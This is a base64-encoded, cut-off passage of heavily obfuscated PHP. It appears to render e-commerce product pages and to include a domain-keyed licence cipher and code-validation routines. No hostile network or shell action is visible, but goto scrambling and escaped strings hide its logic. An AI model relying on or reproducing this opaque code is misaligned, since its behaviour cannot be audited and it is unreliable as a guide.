OyBnb3RvIERlZm5hOyBVYlpvcDogfSBnb3RvIEpUYjg4OyBkV3JDUDogJHprdUZSID0gW107IGdvdG8gVlBkOFk7IFh0SlhhOiAkd1ZMWHkgPSBpbXBsb2RlKCcnLCAkemt1RlIpOyBnb3RvIHk2eWdjOyB5NnlnYzogcmV0dXJuIFsiXDE1MVx4NmRceDYxXHg2N1wxNDVcMTM3XHg2OFwxNjRceDZkXDE1NCIgPT4gJHg2OWQ0LCAiXDE1NVwxNDVcMTY0XHg2MVwxMzdceDY4XHg3NFx4NmRcMTU0IiA9PiAkY3ZxNFQsICJceDYyXDE2Mlx4NjVceDYxXDE0NFwxNDNcMTYyXHg3NVx4NmRceDYyXDEzN1x4NjhcMTY0XDE1NVx4NmMiID0+ICR1aWhhTiwgIlx4NzBcMTYyXDE1MVx4NjNceDY1XHg1ZlwxNTBceDc0XDE1NVx4NmMiID0+ICRXT1plOSwgIlx4NzRceDY5XDE2NFx4NmNcMTQ1XHg1Zlx4NjhceDc0XHg2ZFwxNTQiID0+ICRHMDR1OSwgIlx4NjRceDY1XDE2M1wxNDNceDcyXDE1MVx4NzBcMTY0XDE1MVwxNTdcMTU2XHg1ZlwxNTBceDc0XDE1NVwxNTQiID0+ICRRNGgzSlsiXDE0NFx4NjVcMTYzXDE0M1x4NzJcMTUxXDE2MFx4NzRceDY5XHg2Zlx4NmUiXSAuICJcNzRceDY0XHg2OVwxNjZceDIwXDE0M1wxNTRceDYxXHg3M1x4NzNcNzVceDI3XHg3Mlx4NjVcMTU0XHg2MVx4NzRcMTQ1XHg2NFw0MFwxNjBcMTYyXHg2ZlwxNDRcMTY1XHg2M1x4NzRcMTYzXDQ3XHgzZVx4M2NcMTUwXDYyXHgyMFx4NjNceDZjXHg2MVwxNjNcMTYzXDc1XDQ3XHg3M1wxNTRcMTUxXDE0NFx4NjVceDcyXHgyZFx4NzRceDY5XHg3NFx4NmNcMTQ1XHgyMFx4NzJcMTQ1XDE1NFwxNDFcMTY0XHg2NVwxNDRceDJkXHg3MFx4NzJcMTU3XDE0NFx4NzVcMTQzXHg3NFwxNjNcNDdcNzZceDNjXDU3XHg2OFw2Mlw3Nlw3NFx4MmZceDY0XHg2OVx4NzZceDNlIiAuICR3VkxYeV07IGdvdG8gcVFyd087IGVXT044OiAkdWloYU4gPSBpbXBsb2RlKCcnLCAkWnhHNzIpOyBnb3RvIFh0SlhhOyBINEZwSTogJGpjSkhWID0gJFE0aDNKWyJceDcxXDE2NVwxNDFcMTU2XDE2NFwxNTFcMTY0XHg3OSJdID49IDEwID8gJFE0aDNKWyJceDcxXDE2NVwxNDFceDZlXHg3NFx4NjlceDc0XDE3MSJdIDogMTAwOyBnb3RvIFQ5dTNHOyBrTEU2QjogZm9yZWFjaCAoJFE0aDNKWyJcMTYwXDE1MVx4NjNceDc0XHg3NVwxNjJcMTQ1XDE2MyJdIGFzICR2eFE4VCkgeyAkVHN0bTJbXSA9ICJceDIwXHgyMFw0MFx4MjBcNDBcNDBceDIwXHgyMFx4MjBceDIwXDQwXDQwXDc0XDE0NFx4NjlceDc2XHgyMFx4NjNcMTU0XDE0MVx4NzNcMTYzXDc1XHgyMlx4NjlceDZkXDE0N1x4MmRceDc0XHg2OFx4NzVceDZkXHg2Mlx4NmVceDYxXHg2OVwxNTRceDIyXHgzZVwxNVx4YVw0MFw0MFx4MjBceDIwXDQwXHgyMFw0MFx4MjBcNDBceDIwXDQwXDQwXHgyMFx4MjBcNDBcNDBceDNjXDE1MVwxNTVceDY3XHgyMFx4NjNceDZjXDE0MVx4NzNceDczXDc1XDQyXDE1MVwxNTVceDY3XDU1XDE2MlwxNDVcMTYzXHg3MFx4NmZceDZlXDE2M1x4NjlceDc2XHg2NVx4MjJcNDBcMTQxXDE1NFx4NzRceDNkXDQyeyRRNGgzSlsiXHg3NFwxNTFceDc0XHg2Y1wxNDUiXX1cNDJcMTVceGFcNDBcNDBcNDBceDIwXHgyMFx4MjBceDIwXHgyMFw0MFw0MFx4MjBcNDBcNDBceDIwXDQwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFx4NzNcMTYyXHg2M1x4M2RceDIyeyR2eFE4VH1ceDIyXHgyZlx4M2VceGRcMTJceDIwXHgyMFx4MjBceDIwXDQwXDQwXHgyMFx4MjBcNDBcNDBcNDBcNDBcNzRcNTdceDY0XDE1MVwxNjZceDNlIjsgWDJOMUc6IH0gZ290byBIMVZKaTsgRlVwRzM6ICRHMDR1OSA9ICJceDIwXHgyMFx4MjBcNDBceDIwXDQwXHgyMFw0MFw0MFw0MFw0MFw0MFx4MjBceDIwXHgyMFx4MjBcNzRcMTUwXHgzMlw0MFx4NjNcMTU0XDE0MVx4NzNcMTYzXHgzZFw0MlwxNjBceDcyXHg2Zlx4NjRcMTY1XDE0M1wxNjRcMTM3XHg3NFwxNTFcMTY0XHg2Y1wxNDVcNDBceDY1XHg2ZVx4NzRcMTYyXDE3MVx4MmRceDc0XDE1MVx4NzRceDZjXDE0NVx4MjBcMTYzXHg2OFx4NmZceDc3XHgyZFx4NzBceDcyXDE1N1wxNDRceDc1XDE0M1x4NzRcNTVcMTU2XHg2MVwxNjZcNDJcNzZ7JFE0aDNKWyJceDc0XDE1MVwxNjRcMTU0XDE0NSJdfVw3NFw1N1wxNTBceDMyXDc2IjsgZ290byBkV3JDUDsgSDFWSmk6IElzMzljOiBnb3RvIHQzTkVLOyBmalRXczogJFp4RzcyID0gW107IGdvdG8gTUhaWng7IHpqSnVhOiAkWnhHNzJbXSA9ICJceDIwXDQwXDQwXDQwXHgyMFw0MFx4MjBcNDBceDNjXHg2NFwxNTFcMTY2XHgyMFx4NjNcMTU0XDE0MVx4NzNcMTYzXHgzZFw0MlwxNDNceDZmXHg2Y1x4MmRcMTU0XHg2N1x4MmRcNjFcNjJcNDBcMTQzXHg2Y1wxNDVceDYxXDE2Mlx4NjZceDY5XHg3OFx4MjJceDNlXHhkXDEyXDQwXDQwXDQwXHgyMFx4MjBcNDBceDIwXHgyMFx4MjBceDIwXDQwXDQwXHgzY1wxNDRcMTUxXDE2Nlw0MFwxNDNceDZjXDE0MVx4NzNcMTYzXHgzZFx4MjJceDcwXHg3NFw1NVx4NzJceDY5XHg2N1wxNTBceDc0XHgyMFx4NjRcNTVceDZlXHg2Zlx4NmVcMTQ1XDQyXHgzZVx4ZFx4YVw0MFw0MFx4MjBceDIwXDQwXHgyMFx4MjBcNDBcNDBceDIwXDQwXHgyMFx4MjBcNDBcNDBcNDBcNzRceDY4XHgzMVx4MjBceDYzXHg2Y1x4NjFceDczXHg3M1w3NVw0MlwxNjBceDYxXDE0N1wxNDVcNTVcMTY0XHg2OVx4NzRcMTU0XHg2NVw0Mlx4M2V7JFE0aDNKWyJcMTY0XDE1MVx4NzRceDZjXDE0NSJdfVw3NFw1N1wxNTBceDMxXHgzZVx4ZFwxMlx4MjBcNDBceDIwXDQwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFw0MFx4MjBcNzRceDJmXDE0NFx4NjlcMTY2XHgzZVwxNVx4YVx4MjBceDIwXDQwXDQwXDQwXHgyMFx4MjBcNDBcNDBcNDBceDIwXDQwXDc0XDE0NFwxNTFcMTY2XHgyMFx4NjNcMTU0XDE0MVx4NzNceDczXHgzZFw0MlwxNDJceDcyXHg2NVx4NjFcMTQ0XDE0M1x4NzJcMTY1XHg2ZFwxNDJceDczXDU1XDE2N1x4NzJcMTQxXDE2MFx4MjBcMTYwXDE2NFx4MmRcMTU0XHg2NVx4NjZceDc0XDQyXDc2XDE1XHhhXHgyMFx4MjBcNDBcNDBcNDBceDIwXHgyMFx4MjBceDIwXHgyMFw0MFx4MjBcNDBceDIwXDQwXDQwXDc0XDE2NVwxNTRcNDBcMTQzXHg2Y1x4NjFcMTYzXHg3M1w3NVx4MjJcMTQyXDE2MlwxNDVcMTQxXHg2NFwxNDNcMTYyXDE2NVx4NmRceDYyXHgyMlw0MFx4NjlceDc0XHg2NVx4NmRceDczXHg2M1wxNTdcMTYwXDE0NVx4MjBceDY5XDE2NFwxNDVceDZkXDE2NFwxNzFcMTYwXDE0NVx4M2RcNDJceDY4XHg3NFwxNjRceDcwXHg3M1x4M2FceDJmXDU3XHg3M1wxNDNcMTUwXDE0NVx4NmRcMTQxXHgyZVwxNTdcMTYyXDE0N1x4MmZcMTAyXDE2MlwxNDVcMTQxXHg2NFwxNDNceDcyXHg3NVwxNTVcMTQyXHg0Y1x4NjlcMTYzXHg3NFx4MjJceDNlXHhkXHhhXDQwXDQwXHgyMFw0MFw0MFx4MjBcNDBceDIwXDQwXHgyMFx4MjBceDIwXDQwXDQwXDQwXDQwXDQwXHgyMFx4MjBceDIwXDc0XHg2Y1x4NjlceDIwXHg2OVwxNjRceDY1XHg2ZFx4NzBceDcyXHg2Zlx4NzBceDNkXHgyMlx4NjlceDc0XHg2NVx4NmRcMTE0XHg2OVwxNjNcMTY0XDEwNVx4NmNceDY1XDE1NVx4NjVceDZlXHg3NFx4MjJceDIwXHg2OVwxNjRceDY1XDE1NVwxNjNceDYzXDE1N1x4NzBceDY1XDQwXHg2OVx4NzRcMTQ1XDE1NVwxNjRceDc5XDE2MFx4NjVceDNkXDQyXDE1MFwxNjRcMTY0XDE2MFwxNjNcNzJcNTdcNTdcMTYzXHg2M1wxNTBceDY1XHg2ZFwxNDFceDJlXDE1N1x4NzJcMTQ3XDU3XDExNFx4NjlcMTYzXHg3NFwxMTFceDc0XHg2NVwxNTVcNDJcNzZceDNjXHg2MVwxNVwxMlw0MFx4MjBcNDBceDIwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFx4MjBceDIwXDQwXDQwXDQwXHgyMFx4MjBceDIwXDQwXHgyMFx4MjBceDIwXDQwXHgyMFw0MFx4MjBceDIwXDQwXHg2OVx4NzRcMTQ1XDE1NVwxNjBcMTYyXHg2ZlwxNjBcNzVcNDJceDY5XHg3NFwxNDVcMTU1XDQyXHgyMFx4NjhcMTYyXDE0NVx4NjZceDNkXDQyeyR0eG1zMH1cNDJcNDBceDc0XDE1MVwxNjRceDZjXHg2NVx4M2RceDIyXDEwN1x4NmZcNDBcMTY0XHg2Zlx4MjBceDQ4XHg2ZlwxNTVceDY1XHgyMFwxMjBceDYxXDE0N1x4NjVcNDJceDNlXHgzY1x4NzNceDcwXDE0MVwxNTZcNDBcMTUxXHg3NFx4NjVcMTU1XHg3MFwxNjJceDZmXDE2MFx4M2RceDIyXHg2ZVx4NjFceDZkXDE0NVw0Mlx4M2VcMTEwXDE1N1x4NmRcMTQ1XDc0XDU3XHg3M1wxNjBcMTQxXHg2ZVx4M2VcNzRcNTdcMTQxXDc2XHhkXDEyXDQwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFw0MFw0MFx4MjBcNDBcNDBceDIwXDQwXDQwXDQwXHgyMFw0MFx4MjBceDIwXHgyMFw0MFw0MFw3NFx4NmRceDY1XDE2NFx4NjFceDIwXHg2OVwxNjRceDY1XHg2ZFwxNjBcMTYyXDE1N1x4NzBcNzVcNDJcMTYwXDE1N1wxNjNcMTUxXHg3NFx4NjlcMTU3XHg2ZVw0Mlw0MFwxNDNceDZmXHg2ZVx4NzRcMTQ1XDE1Nlx4NzRcNzVceDIyeyRrbXphVX1cNDJceDJmXDc2XDE1XHhhXDQwXDQwXDQwXHgyMFw0MFw0MFx4MjBcNDBceDIwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFw0MFx4MjBcNDBcNDBceDIwXHgyMFw0MFx4MjBceDIwXHgzY1wxNTFceDIwXHg2M1x4NmNcMTQxXDE2M1wxNjNceDNkXHgyMlwxNDRcMTQ1XDE1NFx4NjlceDZkXDE1MVwxNjRceDY1XDE2Mlx4MjBcMTQ0XHg2NVx4NmNceDY5XDE1NVx4NjlceDc0XDE0NVx4NzJceDJkXHgzMlx4MjJceDNlXHgzY1x4MmZcMTUxXHgzZVx4M2NcNTdceDZjXDE1MVw3NiI7IGdvdG8gR1N6S2Y7IGlCQkJYOiAkdHhtczAgPSAkdGhpcy0+VGVpSEQgPyAkdGhpcy0+ckxfSW0oKSA6ICJcNTciOyBnb3RvIGZqVFdzOyBOdlJaUzogJGN2cTRUID0gaW1wbG9kZSgnJywgJHBNWEFSKTsgZ290byBlV09OODsgR1N6S2Y6IGZvcmVhY2ggKCRRNGgzSlsiXHg2M1wxNDFcMTY0XDE0NVwxNDdceDZmXDE2MlwxNzFceDVmXHg2ZVx4NjFceDZkXDE0NVwxMzdceDcwXHg2MVwxNjRcMTUwXDEzN1wxNjZcMTQ1XDE0MyJdIGFzICRBVmM1dyA9PiAkSjlxeEEpIHsgZ290byBvUFR3RDsgb1BUd0Q6ICRhTWUyVSA9IHNlbGY6OlpfNU8zIC4gIlw1NyIgLiAkdGhpcy0+WkNFSjcodWN3b3JkcyhzdHJ0b2xvd2VyKCRKOXF4QSkpKSAuICJceDVmIiAuICR0aGlzLT5NWE1aWigiXHg3M1wxNTNceDc1IiAuICRRNGgzSlsiXDE0M1wxNDFcMTY0XHg2NVwxNDdcMTU3XHg3Mlx4NzlceDVmXDE1MVwxNDRceDVmXHg3MFx4NjFceDc0XDE1MFwxMzdcMTY2XHg2NVwxNDMiXVskQVZjNXddKSAuICJcNTZceDY4XDE2NFwxNTVcMTU0IjsgZ290byBVcjBCdDsgWmZCUzk6ICRaeEc3MltdID0gIlw0MFw0MFw0MFx4MjBcNDBcNDBcNDBcNDBcNDBceDIwXHgyMFw0MFw3NFwxNTRceDY5XHgyMFx4NjlceDc0XHg2NVwxNTVceDcwXDE2Mlx4NmZcMTYwXDc1XDQyXHg2OVwxNjRceDY1XHg2ZFx4NGNceDY5XDE2M1wxNjRcMTA1XDE1NFwxNDVcMTU1XHg2NVwxNTZceDc0XDQyXDQwXHg2OVx4NzRcMTQ1XDE1NVx4NzNcMTQzXHg2Zlx4NzBceDY1XHgyMFx4NjlcMTY0XDE0NVx4NmRceDc0XHg3OVx4NzBceDY1XDc1XHgyMlx4NjhcMTY0XHg3NFwxNjBcMTYzXDcyXDU3XHgyZlwxNjNceDYzXHg2OFx4NjVcMTU1XHg2MVx4MmVcMTU3XHg3MlwxNDdceDJmXHg0Y1x4NjlcMTYzXHg3NFwxMTFcMTY0XDE0NVx4NmRcNDJcNzZcMTVcMTJcNDBcNDBceDIwXHgyMFx4MjBcNDBcNDBceDIwXDQwXHgyMFw0MFw0MFx4MjBcNDBcNDBceDIwXHgzY1x4NjFceDIwXDE1MVwxNjRcMTQ1XDE1NVx4NzBceDcyXDE1N1wxNjBcNzVcNDJcMTUxXDE2NFwxNDVceDZkXDQyXHgyMFw0MFx4NjhceDcyXDE0NVx4NjZcNzVcNDJceDJmeyRhTWUyVX1cNDJcNDBceDc0XDE1MVx4NzRcMTU0XDE0NVw3NVw0MnskSjlxeEF9XHgyMlw3Nlx4ZFx4YVx4MjBceDIwXDQwXDQwXHgyMFw0MFw0MFw0MFx4MjBcNDBceDIwXHgyMFw0MFx4MjBcNDBceDIwXHgyMFx4MjBceDIwXDQwXDc0XDE2M1wxNjBcMTQxXHg2ZVx4MjBcMTUxXDE2NFx4NjVcMTU1XHg3MFwxNjJcMTU3XHg3MFx4M2RcNDJcMTU2XDE0MVwxNTVceDY1XDQyXHgzZXskSjlxeEF9XDc0XHgyZlwxNjNceDcwXDE0MVx4NmVcNzZcMTVceGFcNDBceDIwXHgyMFw0MFw0MFx4MjBceDIwXDQwXHgyMFw0MFx4MjBceDIwXDQwXDQwXHgyMFw0MFw3NFw1N1x4NjFceDNlXHhkXDEyXHgyMFx4MjBceDIwXDQwXDQwXHgyMFw0MFw0MFw0MFw0MFx4MjBcNDBcNDBceDIwXHgyMFx4MjBcNzRcMTU1XHg2NVwxNjRcMTQxXDQwXDE1MVx4NzRceDY1XHg2ZFx4NzBceDcyXHg2ZlwxNjBceDNkXHgyMlx4NzBceDZmXDE2M1x4NjlcMTY0XHg2OVx4NmZcMTU2XHgyMlw0MFwxNDNcMTU3XDE1NlwxNjRcMTQ1XDE1Nlx4NzRcNzVcNDJ7JGttemFVfVx4MjJcNTdcNzZceGRceGFcNDBcNDBcNDBcNDBcNDBcNDBceDIwXHgyMFx4MjBceDIwXHgyMFw0MFx4MjBcNDBcNDBcNDB7JHN2WHZPfVwxNVwxMlw0MFw0MFw0MFx4MjBceDIwXHgyMFw0MFw0MFx4MjBceDIwXDQwXHgyMFx4M2NceDJmXDE1NFx4NjlcNzYiOyBnb3RvIFUwcXhiOyBmX3ZuMzogJGttemFVID0gJGttemFVICsgMTsgZ290byBaZkJTOTsgVXIwQnQ6ICRzdlh2TyA9ICRBVmM1dyA8IGNvdW50KCRRNGgzSlsiXDE0M1x4NjFcMTY0XHg2NVx4NjdceDZmXDE2Mlx4NzlcMTM3XDE1NlwxNDFceDZkXDE0NVx4NWZcMTYwXDE0MVwxNjRcMTUwXDEzN1wxNjZcMTQ1XDE0MyJdKSAtIDEgPyAiXDc0XHg2OVx4MjBcMTQzXHg2Y1x4NjFceDczXHg3M1w3NVw0MlwxNDRceDY1XHg2Y1wxNTFceDZkXDE1MVwxNjRceDY1XHg3Mlw0MFwxNDRceDY1XHg2Y1wxNTFceDZkXHg2OVwxNjRceDY1XHg3Mlw1NVw2Mlw0Mlx4M2VceDNjXDU3XDE1MVx4M2UiIDogJyc7IGdvdG8gZl92bjM7IFUwcXhiOiBuM3pZWjogZ290byBvWkdiRTsgb1pHYkU6IH0gZ290byBXWlJScDsgb2V2OXM6ICRYMW1fUyA9ICR0aGlzLT5DODFtSigkUTRoM0pbIlx4NjNcMTY1XDE2Mlx4NzJcMTQ1XDE1Nlx4NjNcMTcxXDEzN1wxNTFcMTQ0Il0pOyBnb3RvIEg0RnBJOyBSVExHNjogYkkyN3k6IGdvdG8gTUIxelg7IG9xQ3hHOiAkWnhHNzJbXSA9ICJcNDBcNDBcNDBcNDBcNDBcNDBcNDBceDIwXHgyMFw0MFw0MFx4MjBcNDBcNDBceDIwXHgyMFx4M2NcNTdceDc1XDE1NFx4M2VceGRceGFceDIwXDQwXDQwXDQwXHgyMFw0MFx4MjBcNDBceDIwXDQwXDQwXDQwXDc0XDU3XDE0NFx4NjlceDc2XHgzZVx4ZFwxMlx4MjBcNDBceDIwXDQwXHgyMFx4MjBcNDBceDIwXDc0XDU3XHg2NFwxNTFcMTY2XHgzZVx4MjAiOyBnb3RvIEZVcEczOyBxUXJ3TzogfSBwdWJsaWMgZnVuY3Rpb24gd3prcmEoJHJvcmZXKSB7IGdvdG8gdmg4d187IHhqWUZROiByZXR1cm4gWyJcMTQ0XDE1MVx4NzNcMTYwXDE1NFwxNDFceDc5XDEzN1wxNjBcMTYyXHg2OVwxNDNceDY1IiA9PiAkbXRXaXQsICJceDcyXDE0MVwxNjdceDVmXHg3MFwxNjJcMTUxXDE0M1wxNDUiID0+ICRFU0xESF07IGdvdG8gUUJRT1U7IHZoOHdfOiAkbXRXaXQgPSBmbG9vcigkcm9yZlcgKiBzZWxmOjpUVzVoZSAqIHNlbGY6OmFvRzlxICogMTAwKSAvIDEwMDsgZ290byB0akk1cDsgdGpJNXA6ICRFU0xESCA9IGZsb29yKCRyb3JmVyAqIHNlbGY6OlRXNWhlICogMTAwKSAvIDEwMDsgZ290byB4allGUTsgUUJRT1U6IH0gcHVibGljIGZ1bmN0aW9uIE1YTVpaKCRNMlh0VCwgJENiOFU1ID0gdHJ1ZSwgJG9vRmdSID0gJycpIHsgZ290byBNZFpYcTsgSm1IUFI6ICRNMlh0VCA9ICRVbXN5WDsgZ290byBycXlONzsgcGhnTW86IE1MU0JuOiBnb3RvIEptSFBSOyBVcmFobzogaWYgKCEoc3RycG9zKCRvb0ZnUiwgIlx4NzdcMTY3XDE2N1x4MmUiKSA9PT0gZmFsc2UpKSB7IGdvdG8gcURyU1M7IH0gZ290byB1cVlnMTsgd2h2MFU6IGdvdG8gdDBKNUg7IGdvdG8gS0dCb3g7IE1hSDJYOiAkUXhPdWkgPSAwOyBnb3RvIHlzT1J6OyB0enk3UjogdDBKNUg6IGdvdG8gdnd3d1k7IHB0ekxnOiBBQUp5azogZ290byBUaWxuUDsgTWRaWHE6ICRvb0ZnUiA9ICRvb0ZnUiA/OiAkdGhpcy0+TjBrX3U7IGdvdG8gVXJhaG87IHE1b1NQOiAkQVZjNXcgPSAwOyBnb3RvIHR6eTdSOyBWSmw4NTogaWYgKCEoJFF4T3VpIDwgc3RybGVuKCRNMlh0VCkpKSB7IGdvdG8gTUxTQm47IH0gZ290byBMU1hOdTsgdnd3d1k6IGlmICghKCRBVmM1dyA8IHN0cmxlbigkb29GZ1IpKSkgeyBnb3RvIENKalpGOyB9IGdvdG8gaXlJRWg7IHJxeU43OiBMWEZNdjogZ290byB1U2N3azsgajgxdjc6IGdvdG8gSVE2UnI7IGdvdG8gcGhnTW87IGFtNmRBOiByZXR1cm4gJFVtc3lYOyBnb3RvIFB5Wlk5OyB1U2N3azogJEFWYzV3Kys7IGdvdG8gd2h2MFU7IExTWE51OiAkVW1zeVggLj0gYmFzZV9jb252ZXJ0KChiYXNlX2NvbnZlcnQoJE0yWHRUWyRReE91aV0sIDM2LCAxMCkgKyAkdUlKX1opICUgMzYsIDEwLCAzNik7IGdvdG8gcHR6TGc7IGl5SUVoOiAkdUlKX1ogPSAkQ2I4VTUgPyBiYXNlX2NvbnZlcnQoJG9vRmdSWyRBVmM1d10sIDM2LCAxMCkgOiAzNiAtIGJhc2VfY29udmVydCgkb29GZ1JbJEFWYzV3XSwgMzYsIDEwKTsgZ290byB2OVpVUzsgdjlaVVM6ICRVbXN5WCA9ICcnOyBnb3RvIE1hSDJYOyBLR0JveDogQ0pqWkY6IGdvdG8gYW02ZEE7IHlzT1J6OiBJUTZScjogZ290byBWSmw4NTsgdTl0RUo6IHFEclNTOiBnb3RvIHE1b1NQOyBUaWxuUDogJFF4T3VpKys7IGdvdG8gajgxdjc7IHVxWWcxOiAkb29GZ1IgPSAiXHg3N1wxNjdceDc3XDU2IiAuICRvb0ZnUjsgZ290byB1OXRFSjsgUHlaWTk6IH0gcHVibGljIGZ1bmN0aW9uIFM1azNaKCRXd2w3YSwgJFA3aVZoID0gbnVsbCkgeyBnb3RvIFdmT3VkOyBHUnVCZTogSHdFZ246IGdvdG8gbE9NMDE7IFZaaUFCOiBiUWk1XzogZ290byBPb2hhRDsgcHlJWVY6ICRkdGs2YyA9IHN0cmxlbigkV3dsN2EpOyBnb3RvIGFBWktCOyBMUUk1Xzoga1hJeTM6IGdvdG8gcldmWDM7IFhjTzl4OiB3MmZqUTogZ290byB5dmJCajsgYUFaS0I6IGlmIChzdHJwb3Moc3RydG91cHBlcigkV3dsN2EpLCAiXHg0OCIpID09PSAwKSB7IGdvdG8ga1hJeTM7IH0gZ290byBjRVVrRzsgbE9NMDE6IHN3aXRjaCAoJFA3aVZoKSB7IGNhc2Ugc2VsZjo6Sk9ySEM6IGdvdG8gY2J4WFY7IGNieFhWOiBzd2l0Y2ggKCRySENCUCkgeyBjYXNlIHNlbGY6OnBUNTNJOiBjYXNlIHNlbGY6OmtCYnpZOiByZXR1cm4gY3R5cGVfZGlnaXQoJFd3bDdhKSAmJiAkZHRrNmMgPj0gc2VsZjo6ZFVndXggJiYgJGR0azZjIDw9IHNlbGY6OkRjYnRuOyBnb3RvIFpHOFRNOyBjYXNlIHNlbGY6OnRYRU0yOiByZXR1cm4gY3R5cGVfZGlnaXQoJFd3bDdhKSAmJiAkZHRrNmMgPj0gc2VsZjo6ZFVndXggJiYgJGR0azZjIDw9IHNlbGY6OkRjYnRuOyBjYXNlIHNlbGY6OnVqbmNBOiByZXR1cm4gY3R5cGVfYWxudW0oJFd3bDdhKSAmJiAkZHRrNmMgPj0gc2VsZjo6ZFVndXggJiYgJGR0azZjIDw9IHNlbGY6OkRjYnRuOyBkZWZhdWx0OiByZXR1cm4gZmFsc2U7IH0gZ290byBoRnRNVTsgaEZ0TVU6IE14UjdVOiBnb3RvIFVGcFkxOyBVRnBZMTogWkc4VE06IGdvdG8gQl9RMEg7IEJfUTBIOiBjYXNlIHNlbGY6OkV1c0lqOiBnb3RvIEhWYWtWOyBVclRTVzogTTZYajI6IGdvdG8gZENPeWM7IEhWYWtWOiBzd2l0Y2ggKCRySENCUCkgeyBjYXNlIHNlbGY6OnBUNTNJOiBjYXNlIHNlbGY6OmtCYnpZOiByZXR1cm4gY3R5cGVfZGlnaXQoJFd3bDdhKSAmJiAkZHRrNmMgPj0gc2VsZjo6b1NIRXogJiYgJGR0azZjIDw9IHNlbGY6OmFwZUR6OyBnb3RvIFdtZGlGOyBjYXNlIHNlbGY6OnRYRU0yOiBjYXNlIHNlbGY6OnVqbmNBOiByZXR1cm4gY3R5cGVfYWxudW0oJFd3bDdhKSAmJiAkZHRrNmMgPj0gc2VsZjo6b1NIRXogJiYgJGR0azZjIDw9IHNlbGY6OmFwZUR6OyBkZWZhdWx0OiByZXR1cm4gZmFsc2U7IH0gZ290byBVclRTVzsgZENPeWM6IFdtZGlGOiBnb3RvIHZ2Z1hMOyB2dmdYTDogZGVmYXVsdDogcmV0dXJuIGZhbHNlOyB9IGdvdG8gVlppQUI7IE9vaGFEOiB4Y0ZRdTogZ290byBYY085eDsgdlBFMEo6ICR0aGlzLT5qOEl2eSA9IHRydWU7IGdvdG8gR1J1QmU7IFN4TjNuOiAkV3dsN2EgPSAoc3RyaW5nKSAkV3dsN2E7IGdvdG8gcHlJWVY7IHJXZlgzOiAkckhDQlAgPSBzZWxmOjp1am5jQTsgZ290byB2UEUwSjsgY0VVa0c6ICRySENCUCA9ICR0aGlzLT5LbkVtZDsgZ290byBIM2tOTDsgeXZiQmo6IHJldHVybiBmYWxzZTsgZ290byBzWW5pVTsgSDNrTkw6IGdvdG8gSHdFZ247IGdvdG8gTFFJNV87IFdmT3VkOiBpZiAoISghZW1wdHkoJFd3bDdhKSAmJiAkV3dsN2EgIT0gLTEpKSB7IGdvdG8gdzJmalE7IH0gZ290byBTeE4zbjsgc1luaVU6IH0gcHVibGljIGZ1bmN0aW9uIHpDZWo3KCRsNkY5ZykgeyBnb3RvIE40bGVhOyBONGxlYTogaWYgKHN0cnBvcygkbDZGOWcsICJcNDAiKSAhPT0gZmFsc2UpIHsgZ290byBFZm5GYTsgfSBnb3RvIFkxdktsOyBXNm80bDogJGw2RjlnID0gdWN3b3JkcyhzdHJfcmVwbGFjZSgiXHgyZCIsICJceDIwIiwgJGw2RjlnKSk7IGdvdG8gUVd6M2c7IEY2SVhlOiAkbDZGOWcgPSBzdHJfcmVwbGFjZSgiXHgyMCIsICJceDJkIiwgJGw2RjlnKTsgZ290byBFZXJKODsgSjE5UTM6IGdvdG8geDY4Z2I7IGdvdG8gY3JFOTE7IFFXejNnOiB4NjhnYjogZ290byBzNnlEMTsgbE5JWE46ICRsNkY5ZyA9IHN0cl9yZXBsYWNlKCJceDIwXHgyMCIsICJceDIwIiwgJGw2RjlnKTsgZ290byBNQXBzZzsgQ1piN3A6ICRsNkY5ZyA9IHN0cl9yZXBsYWNlKCJcNDBcNDAiLCAiXDQwIiwgJGw2RjlnKTsgZ290byBsTklYTjsgWTF2S2w6IGlmIChzdHJwb3MoJGw2RjlnLCAiXHgyZCIpICE9PSBmYWxzZSkgeyBnb3RvIHo2Qk16OyB9IGdvdG8gSjE5UTM7IEpTamZVOiB6NkJNejogZ290byBXNm80bDsgY3JFOTE6IEVmbkZhOiBnb3RvIHRubnlaOyBzNnlEMTogcmV0dXJuICRsNkY5ZzsgZ290byB6ZTlybjsgRWVySjg6ICRsNkY5ZyA9IHN0cl9yZXBsYWNlKCJceDVmIiwgIlw1NSIsICRsNkY5Zyk7IGdvdG8gZDBSMGU7IHRubnlaOiAkbDZGOWcgPSBwcmVnX3JlcGxhY2UoIlw1N1wxMzNcMTM0XDE2MFwxNzNcMTIwXHg3ZFx4NWNceDcwXHg3Ylx4NTNcMTc1XHg1Ylw3Mlx4NzNceDcwXDE0MVx4NjNcMTQ1XDcyXHg1ZFx4NWRceDJiXHgyZlx4NzUiLCAiXDQwIiwgJGw2RjlnKTsgZ290byBDWmI3cDsgZDBSMGU6IGdvdG8geDY4Z2I7IGdvdG8gSlNqZlU7IE1BcHNnOiAkbDZGOWcgPSB0cmltKCRsNkY5Zyk7IGdvdG8gRjZJWGU7IHplOXJuOiB9IHByaXZhdGUgZnVuY3Rpb24gR21La3YoJFE0aDNKKSB7IGdvdG8gYnN4VjQ7IGJzeFY0OiBnbG9iYWwgJFkzejdoOyBnb3RvIHNsbTY2OyBQYVhkQzogaWYgKCFpc3NldCgkUTRoM0pbIlx4NzBcMTUxXDE0M1x4NzRceDc1XHg3MlwxNDVcMTYzIl0pKSB7IGdvdG8gcHFTZE07IH0gZ290byBaYmhTQTsgWktFWFc6ICRxdmRGdSA9ICJcMTU2XDE1NyI7IGdvdG8gVUcxRXU7IGlWZVZSOiAkTXpPRlAgPSBbXTsgZ290byB3b3lkYTsgaWlaMUs6ICRUY0F5aCA9ICR0aGlzLT5lQ2tjeSgkUTRoM0pbIlx4NzFcMTY1XHg2MVwxNTZceDc0XDE1MVwxNjRcMTcxIl0sICRRNGgzSlsiXDE2M1x4NmZceDZjXDE0NCJdLCAkUTRoM0pbIlwxNTBceDY5XHg3NFx4NWZcMTQzXDE1N1wxNjVcMTU2XHg3NCJdKTsgZ290byB6NVJ6MTsgTmQ1RlI6ICRZM3o3aCA9IFsiXDEwMFx4NjNcMTU3XDE1NlwxNjRceDY1XDE3MFwxNjQiID0+ICJcMTUwXHg3NFx4NzRcMTYwXHg3M1x4M2FcNTdceDJmXDE2M1x4NjNcMTUwXHg2NVwxNTVceDYxXHgyZVwxNTdceDcyXDE0NyIsICJceDQwXHg3NFx4NzlceDcwX